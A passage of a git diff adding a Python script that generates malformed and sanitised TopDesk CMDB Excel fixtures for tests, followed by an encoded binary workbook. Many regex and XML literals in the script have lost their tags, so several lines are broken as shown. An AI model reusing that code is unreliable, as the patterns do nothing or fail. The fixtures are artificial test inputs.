Rappelreden + 'AH2': 'BBN2', # BNN Classificatie + 'AI2': 'Ja', # Locatie BIOToets + 'AM2': 'NT123', # Nickname (no cell in the export; appended) + }, +} + + +def read_package(path): + """Return the package as an ordered list of (name, bytes).""" + with zipfile.ZipFile(path) as package: + return [(info.filename, package.read(info.filename)) for info in package.infolist()] + + +def write_package(path, parts): + """Write (name, bytes) parts as a deflated zip, [Content_Types].xml first.""" + parts = sorted(parts, key=lambda item: item[0] != '[Content_Types].xml') + with zipfile.ZipFile(path, 'w', zipfile.ZIP_DEFLATED) as package: + for name, data in parts: + info = zipfile.ZipInfo(name, date_time=(2026, 1, 1, 0, 0, 0)) + info.compress_type = zipfile.ZIP_DEFLATED + package.writestr(info, data) + + +def text(data): + return data.decode('utf-8') + + +def sanitise(parts): + """Remove metadata parts and every reference to them.""" + kept = [] + for name, data in parts: + if name in DROP_PARTS or name.startswith(DROP_PREFIXES): + continue + if name == 'docProps/core.xml': + xml = text(data) + xml = re.sub(r'.*?', '', xml) + xml = re.sub(r'.*?', '', xml) + data = xml.encode('utf-8') + elif name == 'xl/workbook.xml': + # The absolute path of the last save names a user profile directory. + xml = re.sub(r']*>.*?x15ac:absPath.*?', '', text(data)) + data = xml.encode('utf-8') + elif name == '[Content_Types].xml': + xml = text(data) + xml = re.sub(r']*/>', '', xml) + xml = re.sub(r']*/>', '', xml) + xml = re.sub(r']*/>', '', xml) + data = xml.encode('utf-8') + elif name == '_rels/.rels': + xml = re.sub(r']*Target="docProps/custom\.xml"[^>]*/>', '', text(data)) + xml = re.sub(r']*Target="\.\./customXml/[^"]*"[^>]*/>', '', xml) + data = xml.encode('utf-8') + elif name == 'xl/_rels/workbook.xml.rels': + xml = re.sub(r']*Target="connections\.xml"[^>]*/>', '', text(data)) + xml = re.sub(r']*Target="\.\./customXml/[^"]*"[^>]*/>', '', xml) + data = xml.encode('utf-8') + kept.append((name, data)) + return kept + + +def replace_part(parts, name, transform): + return [(n, transform(d) if n == name else d) for n, d in parts] + + +def xml_escape(value): + return value.replace('&', '&').replace('<', '<').replace('>', '>') + + +def set_cached_value(xml, ref, value): + """Give the formula cell `ref` the cached string `value`; append a plain string cell when it is missing.""" + cell = re.search(r']*?)(?:/>|>(.*?))' % ref, xml, flags=re.S) + cached = '%s' % xml_escape(value) + if cell is None: + row = re.match(r'[A-Z]+(\d+)$', ref).group(1) + row_match = re.search(r'(]*>.*?)()' % row, xml, flags=re.S) + if row_match is None: + sys.exit('cached values: row %s not found' % row) + new_cell = '%s' % (ref, xml_escape(value)) + return xml[:row_match.end(1)] + new_cell + xml[row_match.end(1):] + attrs, body = cell.group(1), cell.group(2) or '' + formula = re.search(r']*>.*?|]*/>', body, flags=re.S) + if formula is None: + # Not a formula (an earlier run may have written it): only the value changes. + if ' t="inlineStr"' in attrs: + return xml[:cell.start()] + '%s' % (ref, attrs, xml_escape(value)) + xml[cell.end():] + sys.exit('cached values: %s holds no formula' % ref) + attrs = re.sub(r' t="\w+"', '', attrs) + ' t="str"' + return xml[:cell.start()] + '%s%s' % (ref, attrs, formula.group(0), cached) + xml[cell.end():] + + +def cache_values(parts): + """Write CACHED_VALUES into the CMDB sheets; running it twice changes nothing.""" + for sheet, cells in CACHED_VALUES.items(): + def transform(data, cells=cells): + xml = text(data) + for ref, value in cells.items(): + xml = set_cached_value(xml, ref, value) + return xml.encode('utf-8') + parts = replace_part(parts, sheet, transform) + # Excel recalculates from calcChain on open; the cached values are what matter here. + return parts + + +def missing_appid(parts): + """'Beheerde Applicaties CMDB' loses its APPID header (the column gets another name).""" + def transform(data): + xml = text(data) + new, count = re.subn( + r']*?) t="s"([^>]*)>\d+', + r'Applicatienummer', + xml, + count=1, + ) + if count != 1: + sys.exit('missing-appid: header cell B1 not found on Beheerde Applicaties CMDB') + return new.encode('utf-8') + return replace_part(parts, BEHEERDE_SHEET, transform) + + +def col_to_index(col): + index = 0 + for char in col: + index = index * 26 + (ord(char) - 64) + return index + + +def index_to_col(index): + col = '' + while index > 0: + index, rem = divmod(index - 1, 26) + col = chr(65 + rem) + col + return col + + +def reverse_columns(xml): + """Mirror the column order of a worksheet: the last column becomes A.""" + dim = re.search(r'', xml) + width = col_to_index(dim.group(1)) + # Elements that address columns or ranges; they are not needed by the reader. + for tag in ('cols', 'hyperlinks', 'autoFilter', 'conditionalFormatting', 'dataValidations', 'mergeCells'): + xml = re.sub(r'<%s[ >].*?' % (tag, tag), '', xml, flags=re.S) + xml = re.sub(r'<%s [^>]*/>' % tag, '', xml) + xml = re.sub(r']*/>', '', xml) + + def flip_row(match): + row_open, body = match.group(1), match.group(2) + row_open = re.sub(r' spans="[^"]*"', '', row_open) + cells = re.findall(r']*?(?:/>|>.*?)', body, flags=re.S) + flipped = [] + for cell in cells: + ref = re.match(r'' + + return re.sub(r'(]*>)(.*?)', flip_row, xml, flags=re.S) + + +def shuffled_columns(parts): + """Both CMDB sheets with their columns reversed ("Applicatie Naam" before "APPID").""" + parts = replace_part(parts, ONBEH_SHEET, lambda d: reverse_columns(text(d)).encode('utf-8')) + parts = replace_part(parts, BEHEERDE_SHEET, lambda d: reverse_columns(text(d)).encode('utf-8')) + + # A referenced header with the decoration TOPdesk adds to computed fields. + def decorate(data): + xml = text(data) + xml, count = re.subn(r'Vendor', 'Vendor⚡', xml, count=1) + if count != 1: + sys.exit('shuffled-columns: shared string "Vendor" not found') + return xml.encode('utf-8') + return replace_part(parts, 'xl/sharedStrings.xml', decorate) + + +SYNTHETIC_CONNECTION = ( + '\n' + '' + '' + '' + '' +) + + +def formula_and_connection(parts): + """On "Beheerde Applicaties CMDB": a formula in "Applicatie Naam" whose cached value + differs from its result, a "Roepnaam" formula without any cached value, plus an + external connection.""" + def formula(data): + xml = text(data) + new, count = re.subn( + r']*?) t="str"([^>]*)>[^<]*[^<]*', + r'"Evaluated"Rekenmodel', + xml, + count=1, + ) + if count != 1: + sys.exit('formula-and-connection: formula cell D2 not found on Beheerde Applicaties CMDB') + new, count = re.subn( + r']*?)>([^<]*)[^<]*', + r'\2', + new, + count=1, + ) + if count != 1: + sys.exit('formula-and-connection: formula cell E2 not found on Beheerde Applicaties CMDB') + return new.encode('utf-8') + + parts = replace_part(parts, BEHEERDE_SHEET, formula) + parts = replace_part( + parts, + '[Content_Types].xml', + lambda d: text(d).replace( + '', + '', + ).encode('utf-8'), + ) + parts = replace_part( + parts, + 'xl/_rels/workbook.xml.rels', + lambda d: text(d).replace( + '', + '', + ).encode('utf-8'), + ) + return parts + [('xl/connections.xml', SYNTHETIC_CONNECTION.encode('utf-8'))] + + +def no_source_sheet(): + """A minimal workbook with one sheet "Blad1" and neither CMDB sheet.""" + main = 'http://schemas.openxmlformats.org/spreadsheetml/2006/main' + rel = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships' + pkg = 'http://schemas.openxmlformats.org/package/2006/relationships' + return [ + ('[Content_Types].xml', ( + '\n' + '' + '' + '' + '' + '' + '').encode('utf-8')), + ('_rels/.rels', ( + '\n' + '' + % (pkg, rel)).encode('utf-8')), + ('xl/workbook.xml', ( + '\n' + '' + % (main, rel)).encode('utf-8')), + ('xl/_rels/workbook.xml.rels', ( + '\n' + '' + % (pkg, rel)).encode('utf-8')), + ('xl/worksheets/sheet1.xml', ( + '\n' + 'Naam' + 'Voorbeeld' + % main).encode('utf-8')), + ] + + +def main(): + parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) + parser.add_argument('--source', help='anonymised export to sanitise into topdesk-export-anonymised.xlsx') + args = parser.parse_args() + + source = args.source or SANITISED + parts = read_package(source) + if args.source: + parts = sanitise(parts) + write_package(SANITISED, cache_values(parts)) + print('wrote', os.path.relpath(SANITISED, HERE)) + + base = read_package(SANITISED) + variants = { + 'topdesk-missing-appid.xlsx': missing_appid(base), + 'topdesk-shuffled-columns.xlsx': shuffled_columns(base), + 'topdesk-formula-and-connection.xlsx': formula_and_connection(base), + 'topdesk-no-source-sheet.xlsx': no_source_sheet(), + } + for name, parts in variants.items(): + write_package(os.path.join(HERE, name), parts) + print('wrote', name) + + +if __name__ == '__main__': + main() diff --git a/tests/fixtures/cmdb/topdesk-export-anonymised.xlsx b/tests/fixtures/cmdb/topdesk-export-anonymised.xlsx new file mode 100644 index 0000000000000000000000000000000000000000..d8aac05354753e1986a7ac0b712f846a10b5345a GIT binary patch literal 160560 zcmeFa2|Uzo`!`G}X^KKAm5H*nNJ=5gOwuB2skF$nC`65reP&8ZDHLk#lO>8WNfEPU zPxdV_nC$Bq!)#`KN0;u)T+8$P|L^;}_y4)C`g~4i9Ow7^&T$^caUSO}zs1kSe7=Od zn3ⅈg7QY6Yr(^Y2spH^^3*C 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 